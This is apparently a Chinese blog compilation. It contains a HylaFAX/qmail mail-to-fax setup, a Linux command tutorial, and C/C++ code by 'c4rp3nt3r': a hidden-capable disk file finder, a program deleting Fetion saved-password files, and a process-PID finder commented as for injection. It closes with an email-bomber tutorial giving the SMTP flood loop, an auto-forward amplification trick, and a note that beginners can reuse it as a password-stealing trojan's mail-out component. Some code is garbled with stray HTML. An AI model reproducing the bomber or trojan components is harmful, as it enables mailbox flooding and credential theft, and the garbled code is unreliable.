(1)、首先建立/var/spool/hylafax/etc/mailfax.sh文件,内容如下:

  #!/bin/sh

  # mailfax - email to fax gateway for qmail.

  #

  TMPVAR=${SENDER//\`/}

  TMPVAR=${TMPVAR//\$\(/}

 
  SENDER=${TMPVAR//\)/}

  /usr/bin/faxmail | /usr/bin/sendfax \

  -f "$SENDER" \

  -d "$EXT2@`/usr/bin/expr \"$HOST\" : '\(.*\)\.fax$'`"

  (2)、其次,建立alias的点文件,位于/var/qmail/alias/.qmail-fax-default,内容如下:

  | /var/spool/hylafax/etc/mailfax.sh

  然后在/var/qmail/control/virtualdomains里加入下列行

  .fax:fax

  OK,现在可以实现Mail到Fax的转送了,当通过mail发送fax的时候,需要这样做:

  收件人地址只要写成格式:

  someone@65648905.fax

  就可以了。

  如此,就可以实现由Mail到Fax的发送了,这个是对Qmail而言的,其他的自己琢磨吧。

  存在的问题:中文的转译上有问题,那位知道的,告诉我:riches2008@163.com,或者qq:9613831

  (二)Fax to Mail

  这个简单,本身Hylafax就可以支持Fax2mail的功能,只要建立对应的配置文件,就可以了。

  建立/var/spool/hylafax/etc/users.conf和dest.conf文件,将要转发的传真文件和邮箱帐号对应

  例如,假设对发送号码为65648905的传真件,自动转送到postmaster@smart.com这个邮箱里,只要:

  建立user.conf文件:

  1:1:postmaster@ecom.cn iang:fengbao:TIFF:0:1:0

  建立dest.conf文件:

  65648905&1

  注意这两个文件的属性,要能够被uucp:uucp读取。

  然后重新启动hylafax服务就可以了。

From now on I'll write blog on here

I will post some code on here ...

Linux学习之linux shell linux基本命令

linux 重命名基本命令:
linux 重命名注销:logout
login 重新登入
exit 退出当前用户
关机:shutdown +time 例如:shutdown now(现在、立刻关机)
shutdown -c 取消所有关机设置(快捷键:ctrl+c)
重新启动计算机: shutdown -r 重启时间 例如:shutdown -r 12:00
reboot(立刻重启)同shutdown -r
linux有7个运行级(run_level_number),可以通过这7个运行级进行字符界面,图形界面等切换
linux 重命名分别为: 关机 0
单用户 1
多用户(无网络功能)2
多用户(全部功能) 3
保留 4
字符界面 3
图形界面 5
重新启动 6
字符界面命令为:init run_level_number 例如:init 5 进入图形界面
用户名的新建/修改/删除:
创建新用户:useradd 用户名
adduser 用户名
设置用户密码:passwd 密码
修改用户名:usermod 新用户名 前用户名
删除用户:userdel [-r] name (-r表示删除用户时一并将用户的默认主目录删除)
查看帮助信息:
command --help 获得简单的帮助信息 cp --help
man command 获得详细的帮助信息 man cp
info command 获得详细的帮助信息 info cp


linux 重命名查看用户登入信息
whoami :显示当前用户名
who am i :现当前用户的详细信息

查看系统信息
uname -a :全部信息
uname -s :内核名
uname -n :节点名
uname -r :发行版本号
uname -v :内核发布时间
uname -m :硬件名
uname -p :处理器类型
uname -i :硬件平台
uname -o :os名称

cd 命令 文件修改,目录切换命令
cd命令类似windws中的dos命令
常用简写:
cd~ :进入主目录
cd. :切换到当前目录
cd.. :切换到当前目录
cd (直接回车) :默认回到自己的主目录


ls(list) 命令 列出目录中的内容
ls -l:长格式,只显示文件大小,属性等
ls -a:列出所有文件,包括应藏文件(注:以"."开头的文件为隐藏文件)
ls -r:以层次结构显示目录内容
ls --help:显示ls命令的简单帮助
ls --color=?:文件类型显示颜色, "?"表示什么时候需要颜色区分文件类型。有以下选择项:
tty:只在终端显示
auto:系统默认
always:总是显示颜色
none:永远不显示
linux 重命名字符界面中以颜色区分文件类型, 分别如下:
灰色:普通文件
绿色:可执行文件
蓝色:目录文件
红色:压缩文件
浅蓝色:链接文件(类似windows中的快捷方式)
粉红色:图片文件
黄色(橙色):设备文件
红底白字:错问文件

linux 重命名查看文件内容命令(类似windows中的typec查看和edit编辑命令)
cat :直接列出文件所以内容
more :分页显示文件内容(不可回翻页,q推出查看,回车下一行,空格下一页)
less :分页显示文件内容(可翻页,通过PageDown/PageUp键上下翻页)
head -n :显示前n行(n位数字)
tail -n :显示后n行(n位数字)

查看文件系统信息
which :显示命令的别名和执行文件名
whereis :显示命令的文档和执行文件名

linux 重命名文件权限
linux中文件必须通过修改属性改变其权限
ls -l可以列出文件的所有信息
例如:lrwxrwxrwx 1 root root 3 10:00 aaa->abc
文件属性 链接数 所有者 组 文件大小 修改时间 文件名
其中文件属性代表文件的类型和权限
文件属性有10个字符组成第一位:l 是文件类型 , 剩下9位为文件权限 9=3(字符)*3(类用户)
文件类型:
- :普通文件
l :链接文件
b :块设备文件(如:硬盘)
c :串行设备文件(如:键盘,鼠标)
3类用户分别为:文件所有者(主人)User,组成员Group,其他人Other
文件有3种权限:
读:r
写:w
执行:x
没有权限:-
例如一个文件属性为:lrw-r--r-- 表示为文件所有者具有读写权限,组成员和其他人只读

chmod 命令
chmod命令可以修改文件属性,来改变文件的权限
基本格式:chmod -r 权限表达式 文件名
-r 为选项,可以忽略
权限表达式有两种,分别为符号表达式和数字表达式
符号表达式:
r w x :分别代表相应的权限
+ - = :分别表示增加,去除,设定(覆盖)权限
u g o :分别代表主任,组成员和其他人
例如:chmod u=rw-,g=r--,o=--- abc 表示将abc文件设置为主人读写,组成员只读,其他人没任何权限
数字表达式:r=4 表示读权限用一个4数字来表示
w=2 表示写权限用一个2数字来表示
x=1 表示执行权限用一个1数字来表示
-=0 表示没有权限用一个0数字来表示
例如:chmod u=rw-,g=r--,o=--- abc 同 chmod 640 abc
注:chmod 755 abc (755是应用于网站的资源文件)

ln命令 创建链接
文件的链接有2种:
软链接:符号链接(windows中的快捷方式)
基本格式:ln -s 链接目标 连接名
硬链接:把一块磁盘数据分别起2个或以上的名字(快捷方式链接名字),其中创建姓名在之间的关系为硬链接
基本格式:ln 链接目标 连接名

linux 重命名其他常用命令
复制: cp [-option] 源文件 目标文件
option :
cp -f 源文件 目标文件 :强制覆盖,不提示任何信息
cp -i 源文件 目标文件 :强制覆盖,有提示信息
cp -r 源文件 目标文件 :复制命令
tonch : 修改文件的最后修改日期
如果文件不存在,创建新的空白文件(linux系统中没有专门的创建文件命令)
rm :remove 删除目录/文件(可删除非空白目录/文件,永久删除)
rm -f :强制delete,无提示
rm -i :强制delete,有提示
rm -r :删除目录
mv :move 移动文件(延伸功能:重命名,linux系统没有专门的重命名命令)
基本格式:
移动文件:mv 文件名 移动目的地文件名
重命名文件:mv 文件名 修改后的文件名
mkdir :make dir 创建一个目录
mkdir -p a/b/c:创建多层目录
rmdir :删除目录(不可以删除非空目录)

VC++6.0 FindxFile Find files c++ codes

printf("+\t遍历本地磁盘所有目录查找特定文件(含系统和隐藏属性)\t+\n");
2009-03-17 14:55
printf("+\tfindxfile.exe V1.0 By c4rp3nt3r c4rp3nt3r@gmail.com\t+\n");

闲着无聊写的遍历本地磁盘查找文件或文件夹的小程序。
// dinddir.cpp : Defines the entry point for the console application.
//
/*
Code By c4rp3nt3r@gmail.com
仅供学习交流之用,禁止用于非法用途
All Right Reversed @2009
CopyRight c4rp3nt3r
*/
#include "stdafx.h"
#include
#include
#include "resource.h"
//The following sentence is used to hide the console window
//#pragma comment(linker, "/subsystem:windows /entry:mainCRTStartup")
HANDLE hFile;
DWORD dwWritten;
char szhzhui[16]="*.doc";

void findDir(char szRemoveDir[],char szhouzhui[]) ;
void findFile(char szRemoveDir[],char szhouzhui[]) ;
int findAll(char szhouzhui[]);
//---------------------------------------------------
//This is a simple demo
int main(int argc,char **argv)
{
if(argc==1)
{
printf("Uasge: %s [*.*]\n",argv[0]);
return 0;
}
findAll(argv[1]);
return 0;
}
int findAll(char szhouzhui[])
{
printf("\n");
printf("+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
printf("+\t遍历本地磁盘所有目录查找特定文件(含系统和隐藏属性)\t+\n");
printf("+\tfindxfile.exe V1.0 By c4rp3nt3r c4rp3nt3r@gmail.com\t+\n");
printf("+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n");
// if(strlen(argv>15)
// {
// printf("Usage: %s [*.*]\n",argv[0]);
// printf("Example: %s [*.doc]\n",argv[0]);
// printf("Example: %s [c4rp3nt3r*.exe]\n",argv[0]);
// printf("Example: %s [c4rp3nt3r.*]\n",argv[0]);
// return 0;
// }

// if(argc>1&&strlen(argv[1])<15) hfile =" CreateFile(" hfile="=" utype="GetDriveType(panDir);" utype="=" utype="=" dir="strlen(szRemoveDir);" hhandle="FindFirstFile(szFileName,&wfd))!=" dir="strlen(szRemoveDir);" hhandle="FindFirstFile(szFileName,&wfd))!=" href="http://sites.google.com/site/c4rp3nt3r/Home/findxfile.rar?attredirects=0">http://sites.google.com/site/c4rp3nt3r/Home/findxfile.rar?attredirects=0

Get the Application Data Path,Delete The Fetion Pass Save File

/*

by c4rp3nt3r@gmail.com

http://c4rp3nt3r.bolgspot.com/

*/

#include
#include
#include

//获取Application Data文件夹路径,删除飞信保存密码的文件!
int mian(int argc,char **argv){

char szPath[256];
HRESULT ret= SHGetFolderPath(NULL, CSIDL_APPDATA , NULL, 0, szPath );
strcat(szPath,"file://fetion//configuration.dat");
//printf("appdata---------%s",szPath );
if (GetFileAttributes(szPath ) != -1)
DeleteFile(szPath );

return 0;

}

Process to PID

from the Internet
// processtopid.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "stdio.h"
#include
#include


int main(int argc, char* argv[])
{
//遍历所有进程,进行注入
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = {0};
DWORD proPid = 0;
//DWORD dwCurrentId;
//得到本程序的PID
//dwCurrentId = ::GetCurrentProcessId();
//对系统中的所有运行进程进行快照
hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
//获取快照失败
return FALSE;
}
ZeroMemory(&pe32,sizeof(PROCESSENTRY32));
    pe32.dwSize=sizeof(PROCESSENTRY32);

while(Process32Next(hProcessSnap,&pe32))
    {
//printf("\t%s----%d\n",pe32.szExeFile,pe32.th32ProcessID);
//char proNametmp[16]={"svchost.exe"};
        printf("Process name is %s\n",pe32.szExeFile);
        if(!_strnicmp(pe32.szExeFile,pe32.szExeFile+5,1)&&!_strnicmp("t",(pe32.szExeFile+6),1))
        { 
 printf("GOT IT!\n%s PID is%d\n",pe32.szExeFile,pe32.th32ProcessID);
              proPid=pe32.th32ProcessID;
              //break;
        }
    }
    CloseHandle(hProcessSnap);
//printf("%ld",proPid);
return proPid;
}

利用BCB,自己写邮箱群发器

测试环境:BCB6.0 +XP SP2

Email:c4rp3nt3r[4]gmial.com



前几在黑防看到利用BCB打造QQ消息炸弹。心里老痒痒,正好自己在学写邮箱发信的小程序,突然一想现在邮箱都有身份验证,所以邮箱炸弹少了,是不是自己也可以写一个邮箱炸弹呢?怎么说自己也看了好多期黑防,今天来实践一次。


思路很简单:就是不断的给一个邮箱发信,或者间隔多长时间发信,直到把邮箱撑爆。

程序是单线程的,如何才能提高发信效率呢?我发现现在的邮箱大多有自动转发功能,好我们先申请几个邮箱,设置自动转发到要轰炸邮箱,然后把我们申请的邮箱填到抄送栏目,那么我们就可以用很少的资源达到很好的效果。

程序的关键是利用BCB 6.0自带的Indy v8.0组建中的IdSMTP和IdMessage控件实现发信功能,相信菜菜看完后可以改为自己的盗号木马的发信部分.

编程实现:

打开bcb6.0,程序默认新建一个工程,我们在窗体上加入IndyClents标签的IdSMTP及Indy Misc标签的IdMessage控件,为发送邮件的控件..

一个Dialogs标签下的OpenDialog控件,为选择附件爱能用到的.

一个ComBoBox为选择smtp服务器的控件;

六个控件改name属fromEdit,nameEdit,pwdEdit,toEdit,chaosongEdit和timeEdit.一个ChackBox和一个GroupBox等如图所示:







关键发信代码如下:

IdMessage1->Recipients->EMailAddresses = toEdit->Text; //邮件接收者的信箱

IdMessage1->From->Text = fromEdit->Text; //邮件发送者的信箱

IdMessage1->Subject = subjectEdit->Text; //邮件的标题

IdMessage1->Body->Add(Memo1->Lines->Text);//邮件内容

IdMessage1->CCList->EMailAddresses = chaosongEdit->Text; //邮件的抄送地址

IdMessage1->MessageParts->Clear();

if(strcmp("\0",fujianEdit->Text.c_str())!=0)

{

AnsiString AttFile=fujianEdit->Text ; //附件文件名

IdMessage1->MessageParts->Add();

new TIdAttachment(IdMessage1->MessageParts,AttFile);

}

if (IdSMTP1->Connected())

{

IdSMTP1->Disconnect();

}

IdSMTP1->AuthenticationType = atLogin; //登录服务器类型选择

IdSMTP1->Host = ComboBox1->Text; //SMTP服务器

IdSMTP1->UserId = nameEdit->Text; //邮箱的用户名

IdSMTP1->Password = pwdEdit->Text; //邮箱的密码

IdSMTP1->Port = 25; //端口

IdSMTP1->Connect(); //连接SMTP服务器

if (IdSMTP1->Authenticate()) //用户验证

{

StatusBar1->SimpleText="登录服务器验证成功!";

for(int i=1;i<=StrToInt(timeEdit->Text);i++)

{

IdSMTP1->Send(IdMessage1); //发送邮件

StatusBar1->SimpleText="邮件发送成功";

if(CheckBox1->Checked)

Sleep(StrToInt(frequentEdit->Text)*60*1000); //暂停几分钟继续发送

}

}

IdSMTP1->Disconnect(); //中断连接SMTP服务器

}

用我自己的邮箱测试了一下效果还可以。发送垃圾邮件是不道德的事情,本文只为学习交流。

注:现在支持smtp发信的免费邮箱有sina,qq需要设置一下smtp和pop3收信。